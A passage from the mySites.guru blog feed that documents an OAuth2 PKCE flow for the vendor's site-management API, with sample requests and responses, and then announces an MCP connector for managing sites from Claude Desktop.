&lt;p&gt;&lt;img alt=&quot;The mySites.guru Authorization Request consent screen. A black header with the mySites.guru logo reads &amp;quot;Authorization Request&amp;quot; and &amp;quot;test wants to access your account&amp;quot;. Below, a Permissions Requested list with ten checkmarked items: read your list of sites and their details, modify your sites and their settings, view audit results and reports, run audits on your sites, view backup history and status, create and manage backups, view available updates, install updates on your sites, read your tags and groups, and read your profile information. A black Authorize button and an outlined Deny button sit below, with a note that access can be revoked at any time from account settings.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 996px) 996px, 100vw&quot; width=&quot;996&quot; height=&quot;1472&quot; src=&quot;https://mysites.guru/_astro/api-demo-consent-screen.BijKYegn_28rwD.webp&quot; srcset=&quot;https://mysites.guru/_astro/api-demo-consent-screen.BijKYegn_Z1DsGdg.webp 640w, https://mysites.guru/_astro/api-demo-consent-screen.BijKYegn_Z2piPP7.webp 750w, https://mysites.guru/_astro/api-demo-consent-screen.BijKYegn_1F8NUi.webp 828w, https://mysites.guru/_astro/api-demo-consent-screen.BijKYegn_28rwD.webp 996w&quot; /&gt;&lt;/p&gt;
&lt;figcaption&gt;The consent screen the user approves. Each line is a plain-English description of one requested scope, so the user sees exactly what they are granting before they click Authorize.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3&gt;Step 4: Exchange the code for tokens&lt;/h3&gt;
&lt;p&gt;Your application swaps the code, plus the original verifier, for tokens:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;POST&lt;/span&gt;&lt;span&gt; https://manage.mysites.guru/oauth/token&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Content-Type:&lt;/span&gt;&lt;span&gt; application/x-www-form-urlencoded&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;grant_type=authorization_code&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;code=&lt;/span&gt;&lt;span&gt;AUTH_CODE_FROM_CALLBACK&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;redirect_uri=&lt;/span&gt;&lt;span&gt;https://yourapp.example.com/callback&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;client_id=&lt;/span&gt;&lt;span&gt;YOUR_CLIENT_ID&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;code_verifier=&lt;/span&gt;&lt;span&gt;YOUR_ORIGINAL_VERIFIER&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You get back an access token and a refresh token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;token_type&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Bearer&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;expires_in&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 3600&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;access_token&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;eyJ...&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;refresh_token&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;def502...&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 5: Call the API&lt;/h3&gt;
&lt;p&gt;From here, every request has the access token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;GET&lt;/span&gt;&lt;span&gt; https://manage.mysites.guru/api/v1/sites&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Authorization:&lt;/span&gt;&lt;span&gt; Bearer eyJ...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And a response comes back as JSON:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;data&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;hash_id&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;aB3xY9&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;https://acme.example.com&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;friendly_name&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Acme Corp&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;platform&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Joomla&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;5.2.1&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;php_version&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;8.3.4&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;db_version&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;8.0.36&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;tags&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        { &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;slug&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;client&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Client&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;#3b82f6&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      ],&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;is_connected&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;last_audit&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026-06-06T18:54:25+00:00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;last_backup&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026-06-06T02:00:00+00:00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  ],&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;meta&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; { &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;current_page&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;per_page&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 25&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;total&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 87&lt;/span&gt;&lt;span&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interactive demo bundled with the API does exactly this against your own account. Here it is calling &lt;code&gt;GET /api/v1/sites/{hashId}/audits/{id}&lt;/code&gt; and getting a real audit back: files scanned, suspect files, hidden files, missing core files, and the &lt;code&gt;hacked&lt;/code&gt; flag, all from one signed request.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru API demo after authorising. The token bar shows the granted api: scopes (api:sites:read, api:sites:write, api:audits:read, api:audits:write and more). A GET request to /api/v1/sites/{hashId}/audits/{id} has been executed and returns HTTP 200 with a JSON body: id, status Complete, started_at and completed_at timestamps, files_scanned 13693, suspect_files 1, hacked false, hidden_files 58, hidden_folders 3, files_777 0, folders_777 0, zero_bytes 3 and missing_core_files 1.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1308px) 1308px, 100vw&quot; width=&quot;1308&quot; height=&quot;1622&quot; src=&quot;https://mysites.guru/_astro/api-demo-get-audit-response.D4ZwDlIS_Zdmz0n.webp&quot; srcset=&quot;https://mysites.guru/_astro/api-demo-get-audit-response.D4ZwDlIS_2avyRE.webp 640w, https://mysites.guru/_astro/api-demo-get-audit-response.D4ZwDlIS_ZgY2NL.webp 750w, https://mysites.guru/_astro/api-demo-get-audit-response.D4ZwDlIS_Z1ChIWm.webp 828w, https://mysites.guru/_astro/api-demo-get-audit-response.D4ZwDlIS_12Ok0m.webp 1080w, https://mysites.guru/_astro/api-demo-get-audit-response.D4ZwDlIS_Z1WRBJq.webp 1280w, https://mysites.guru/_astro/api-demo-get-audit-response.D4ZwDlIS_Zdmz0n.webp 1308w&quot; /&gt;&lt;/p&gt;
&lt;figcaption&gt;The bundled demo running a live audit lookup against a real site, returning HTTP 200. The token has the api: scopes granted on the consent screen.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3&gt;Step 6: Refresh when the token expires&lt;/h3&gt;
&lt;p&gt;Access tokens last &lt;strong&gt;one hour&lt;/strong&gt;. When one expires, your application uses the refresh token (valid for one month) to get a new pair, without sending the user through the consent screen again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;POST&lt;/span&gt;&lt;span&gt; https://manage.mysites.guru/oauth/token&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Content-Type:&lt;/span&gt;&lt;span&gt; application/x-www-form-urlencoded&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;grant_type=refresh_token&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;refresh_token=&lt;/span&gt;&lt;span&gt;def502...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;client_id=&lt;/span&gt;&lt;span&gt;YOUR_CLIENT_ID&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The old refresh token is invalidated and you receive a fresh pair. Short-lived access tokens with rotating refresh tokens mean that even in the worst case, an exposed access token is useful for at most an hour.&lt;/p&gt;
&lt;h2&gt;Why “secure by design” is more than a slogan&lt;/h2&gt;
&lt;p&gt;Security here is not a feature bolted on afterwards. It falls out of how the API is built. Here is what that actually means in practice.&lt;/p&gt;
&lt;h3&gt;No static secrets&lt;/h3&gt;
&lt;p&gt;Because the only supported flow is Authorization Code with PKCE, there is no permanent API key that grants access forever. The thing your application holds long term is a refresh token scoped to a specific user’s approval, and even that expires. There is no shared secret to find in a leaked &lt;code&gt;.env&lt;/code&gt; file and replay.&lt;/p&gt;
&lt;h3&gt;Tokens are scoped to your own sites, and re-checked every time&lt;/h3&gt;
&lt;p&gt;When a token is issued, the permissions are resolved for that specific user. On every single request to a site-specific endpoint, the API independently confirms that the site belongs to the user’s company, and, if the user is a restricted team member, that the site is one they are allowed to see. A token cannot reach a site its owner could not already reach in the dashboard. This check is not done once at login and trusted thereafter, it runs on each request.&lt;/p&gt;
&lt;h3&gt;Scopes mean least privilege&lt;/h3&gt;
&lt;p&gt;Your application asks only for the scopes it needs, such as &lt;code&gt;api:sites:read&lt;/code&gt; on its own, or &lt;code&gt;api:audits:write&lt;/code&gt; to trigger audits. The consent screen shows the user exactly what they are granting before they approve. A read-only reporting dashboard never needs to ask for write access, and a user can see that it has not.&lt;/p&gt;
&lt;h3&gt;Short-lived tokens and per-user resolution&lt;/h3&gt;
&lt;p&gt;Access tokens expire after an hour. Permissions are resolved for the user who approved the connection, not baked into a shared client, so the same integration approved by two different people gets each person’s own access and never leaks one user’s reach to another.&lt;/p&gt;
&lt;h3&gt;HTTPS only, rate limited, revocable&lt;/h3&gt;
&lt;p&gt;Redirect URIs must be HTTPS (the only exception is localhost, for local development). The API is rate limited per token, so a runaway script is contained rather than allowed to hammer the platform. And every client you create is listed in your dashboard under &lt;strong&gt;Account then API Clients&lt;/strong&gt;, where you can revoke any of them in one click. Revoking a client cuts off its access.&lt;/p&gt;
&lt;p&gt;This is the same security model we described for the &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;MCP server&lt;/a&gt;, for the simple reason that they share it. The MCP server is secure for the same reasons the API is: it is the same OAuth2 layer underneath.&lt;/p&gt;
&lt;h2&gt;A worked example: a nightly audit report&lt;/h2&gt;
&lt;p&gt;To make this concrete, picture the kind of thing the API is built for. You run an agency with 80 client sites and you want a single email each morning summarising any site whose audit score dropped overnight.&lt;/p&gt;
&lt;p&gt;With the API, that is a small scheduled script:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Refresh your access token if it has expired.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;GET /api/v1/sites&lt;/code&gt; to get your site list.&lt;/li&gt;
&lt;li&gt;For each site, call &lt;code&gt;GET /api/v1/sites/{hashId}/audits&lt;/code&gt; and read the most recent score.&lt;/li&gt;
&lt;li&gt;Compare against yesterday’s stored scores and assemble the ones that fell.&lt;/li&gt;
&lt;li&gt;Email yourself the list.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If all you need is which sites have updates waiting, vulnerable extensions or a stale backup, the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api-site-summary/&quot;&gt;site summary endpoint&lt;/a&gt; returns that for every site in one request, so the loop over each site is only needed for detail the summary does not include.&lt;/p&gt;
&lt;p&gt;No browser, no clicking through 80 dashboards, no AI client in the loop. Just your own code, running on your own schedule, talking to a secure API. If you would rather ask the same question conversationally now and then, the &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;MCP server&lt;/a&gt; answers “which of my sites dropped an audit score last night?” from an AI client, using this exact same data.&lt;/p&gt;
&lt;p&gt;For agencies already leaning on &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled audits, updates and backups&lt;/a&gt; inside mySites.guru, the API is the natural next step when you want that automation wired into your own systems rather than ours.&lt;/p&gt;
&lt;h2&gt;What the API does not do (yet)&lt;/h2&gt;
&lt;p&gt;Being honest about the edges is part of being secure and trustworthy.&lt;/p&gt;
&lt;p&gt;The API currently covers reading and triggering the core operations listed above. For most data you poll for changes. The exception is uptime: down and up alerts can be &lt;a href=&quot;https://mysites.guru/blog/uptime-alert-webhooks/&quot;&gt;pushed to a signed webhook&lt;/a&gt; as they happen. The developer reference is published at &lt;a href=&quot;https://manage.mysites.guru/api-docs/index.html&quot;&gt;manage.mysites.guru/api-docs&lt;/a&gt;, and you register a client from the &lt;strong&gt;Account then API Clients&lt;/strong&gt; screen in your dashboard.&lt;/p&gt;
&lt;p&gt;If there is an operation you can do in the dashboard that you want exposed through the API, tell us. The API mirrors the dashboard, so the roadmap for it is driven by what you actually want to automate.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Sign in to your &lt;a href=&quot;https://manage.mysites.guru/&quot;&gt;mySites.guru dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Account then API Clients&lt;/strong&gt; and create a client.&lt;/li&gt;
&lt;li&gt;Note your &lt;code&gt;client_id&lt;/code&gt; and add your redirect URI.&lt;/li&gt;
&lt;li&gt;Run the Authorization Code with PKCE flow described above against the &lt;code&gt;/oauth/authorize&lt;/code&gt; and &lt;code&gt;/oauth/token&lt;/code&gt; endpoints.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;https://manage.mysites.guru/api/v1/&lt;/code&gt; with your Bearer token.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you are not yet a mySites.guru subscriber, you can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;start with a free audit&lt;/a&gt; or see &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;everything the platform does&lt;/a&gt; first. The API, like the MCP server, is there to let you bend mySites.guru around your own workflow rather than the other way around.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;Manage Every Site From Claude Desktop or other AI tools&lt;/a&gt; - the MCP server built on top of this API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule your security audits, updates and backups&lt;/a&gt; - the built-in scheduling the API complements&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;How to mass upgrade Joomla and WordPress sites from one dashboard&lt;/a&gt; - the bulk update workflow, available to trigger via the API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Manage multiple sites with your whole team&lt;/a&gt; - the team permissions model the API scoping respects&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749&quot;&gt;OAuth 2.0 Authorization Framework (RFC 6749)&lt;/a&gt; - the standard the API is built on&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7636&quot;&gt;Proof Key for Code Exchange (RFC 7636)&lt;/a&gt; - the PKCE extension that removes the need for a client secret&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Want to manage your sites without writing a line of code? The &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;mySites.guru MCP server&lt;/a&gt; runs on this same API and lets you do it all in plain language from an AI client.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>api</category><category>oauth</category><category>automation</category><category>agency</category><category>integration</category><enclosure url="https://mysites.guru/img/og/blog/mysites-guru-api.png" length="0" type="image/png"/></item><item><title>Manage Every Site From Claude Desktop or other AI tools</title><link>https://mysites.guru/blog/manage-every-site-from-claude-desktop/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-every-site-from-claude-desktop/</guid><description>Connect your mySites.guru account to Claude or any MCP client and run audits, backups and updates on your WordPress and Joomla sites by typing.</description><pubDate>Sun, 07 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For a long time we have shied away from adding AI to mySites.guru for the sake of it, while we watched everyone else scramble to bolt AI onto their products in ways that made no sense. We were not interested in a chatbot in the corner that no one asked for.&lt;/p&gt;
&lt;p&gt;Now the time has come. We are introducing a suite of AI features that improve how you manage a large number of WordPress, Joomla and general websites through mySites.guru, and today we are announcing the first of many: mySites.guru is now available as an MCP server you can connect to Claude Desktop and other MCP clients. You can hold a natural-language conversation with the AI client of your choice and pull information straight from your mySites.guru account and your connected sites, then act on it.&lt;/p&gt;
&lt;p&gt;Think about how a simple client question gets answered today. “Is our site up to date?” To answer honestly you open the dashboard, find the site, check the CMS version, check the PHP version, glance at the extension list, and remember whether the last audit came back clean. Two minutes per site, repeated all day, for something you should be able to just ask. Now you can ask it.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;p&gt;Beta Preview&lt;/p&gt;&lt;/span&gt;&lt;span&gt;Limited scope for now&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The set of tools available today is small. We have shipped a focused starting point, we are watching usage and listening to feedback, and we will grow it from there. Treat what follows as the ground floor, not the finished feature.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;What you can do once it is connected&lt;/h2&gt;
&lt;p&gt;Connect the account and your AI client gains a set of tools that map directly onto the things you already do in mySites.guru. You stop clicking and start asking, with questions like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“List my sites that have not been backed up this week.”&lt;/li&gt;
&lt;li&gt;“Run a security audit on example.com and tell me if anything looks hacked.”&lt;/li&gt;
&lt;li&gt;“What extensions are installed on this client’s site, and which look old?”&lt;/li&gt;
&lt;li&gt;“Queue a backup for every Joomla site tagged client-retainer.”&lt;/li&gt;
&lt;li&gt;“Take a fresh snapshot of this site so I have a record before the migration.”&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/mcp-claude-list-sites-prompt.BK2mQKg4_85ezi.webp&quot; srcset=&quot;https://mysites.guru/_astro/mcp-claude-list-sites-prompt.BK2mQKg4_uJuIr.webp 640w, https://mysites.guru/_astro/mcp-claude-list-sites-prompt.BK2mQKg4_234hH7.webp 750w, https://mysites.guru/_astro/mcp-claude-list-sites-prompt.BK2mQKg4_tvdM6.webp 828w, https://mysites.guru/_astro/mcp-claude-list-sites-prompt.BK2mQKg4_Z239mlp.webp 1080w, https://mysites.guru/_astro/mcp-claude-list-sites-prompt.BK2mQKg4_Z2pmQ1j.webp 1280w, https://mysites.guru/_astro/mcp-claude-list-sites-prompt.BK2mQKg4_Z2gvTd5.webp 1668w, https://mysites.guru/_astro/mcp-claude-list-sites-prompt.BK2mQKg4_85ezi.webp 1694w&quot; alt=&quot;Claude answering the prompt &amp;quot;List my sites that have not been backed up this week.&amp;quot; Claude replies &amp;quot;I&apos;ll check your mySites.guru account. Let me load the relevant tools first.&amp;quot; and calls the List sites tool, shown with the mySites.guru connector icon.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1694px) 1694px, 100vw&quot; width=&quot;1694&quot; height=&quot;626&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The client reads the live state of your sites, reasons over it, and triggers the action you ask for. It is the difference between an assistant that talks about your sites and one that can actually act on them, bounded by exactly what your account already permits.&lt;/p&gt;
&lt;p&gt;This is the beta, so not every one of those examples is wired up yet, and the exact set you can use today is listed further down in &lt;a href=&quot;#what-you-can-do-in-the-beta&quot;&gt;What you can do in the beta&lt;/a&gt;. The bigger picture is where this is heading: we are working to expose the full range of mySites.guru features through MCP, and that is shipping very shortly. Today is the first slice, not the whole thing.&lt;/p&gt;
&lt;h2&gt;How to connect it&lt;/h2&gt;
&lt;p&gt;There is no plugin to install on any site. The connector is your whole account, and it lives at one URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;https://manage.mysites.guru/_mcp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In &lt;strong&gt;Claude Desktop&lt;/strong&gt;, add it like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open Claude Desktop and go to the chat tab, then click &lt;strong&gt;Customize&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Choose &lt;strong&gt;Connectors&lt;/strong&gt;, click the &lt;strong&gt;+&lt;/strong&gt; icon, and select &lt;strong&gt;Add custom connector&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/mcp-claude-add-custom-connector.DZmK6nj__Z2b1ziW.webp&quot; srcset=&quot;https://mysites.guru/_astro/mcp-claude-add-custom-connector.DZmK6nj__Zsjt9e.webp 640w, https://mysites.guru/_astro/mcp-claude-add-custom-connector.DZmK6nj__10tiJK.webp 750w, https://mysites.guru/_astro/mcp-claude-add-custom-connector.DZmK6nj__ZLogkG.webp 828w, https://mysites.guru/_astro/mcp-claude-add-custom-connector.DZmK6nj__tSKPq.webp 1080w, https://mysites.guru/_astro/mcp-claude-add-custom-connector.DZmK6nj__2ptOBX.webp 1280w, https://mysites.guru/_astro/mcp-claude-add-custom-connector.DZmK6nj__Z2b1ziW.webp 1398w&quot; alt=&quot;The Claude Desktop Customize panel open on Connectors. A plus icon at the top right has been clicked, revealing a menu with two options: Browse connectors, and Add custom connector. An existing Canva connector is shown in the list under a Web heading.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1398px) 1398px, 100vw&quot; width=&quot;1398&quot; height=&quot;350&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Paste &lt;code&gt;https://manage.mysites.guru/_mcp&lt;/code&gt; as the remote MCP server URL, give the connector a name, and save. Call it &lt;code&gt;mySites.guru&lt;/code&gt; if you like things tidy, or something with a bit more personality. Name it &lt;code&gt;Phil&lt;/code&gt; and you get to type “Ask Phil to show me a list of my sites” and have it actually work. You can leave the OAuth fields under Advanced settings blank.&lt;/li&gt;
&lt;/ol&gt;
